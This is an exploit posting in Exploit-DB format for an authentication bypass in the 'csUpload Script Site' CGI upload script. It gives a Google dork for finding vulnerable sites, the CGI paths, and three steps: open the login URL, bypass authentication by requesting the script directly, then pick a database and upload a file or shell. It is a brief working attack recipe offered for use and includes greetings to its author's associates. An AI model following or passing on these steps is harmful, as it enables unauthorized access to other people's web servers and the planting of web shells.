csUpload Script Site – Authentication Bypass
# Exploit Title: ["csUpload Script Site" Authentication Bypass] # Google Dork: [CSUpload.cgi?command=] # Date: 4/9/2014 # Exploit Author: Satanic2000 # Vendor Homepage: http://www.cgiscript.net # Software Link: http://www.cgiscript.net/cgi-script/csNews/csNews.cgi?database=cgi.db&command=viewone&id=12 # Version: # Tested on: linux # www.Site.com/[path]/CSUpload/CSUpload.cgi # [path] : /cgi-script/ or /cgi-bin/ or None # Example: # 1- http://localhost/cgi-bin/CSUpload//CSUpload.cgi?command=login # 2- Bypass Authentication http://localhost/cgi-bin/CSUpload/CSUpload.cgi # 3- Select Database Select Databases And Upload (File,Or Shell) # Special tnx S3Ri0uS . Pejvak . l3l4ck.$c0rpi0n And Other Friend |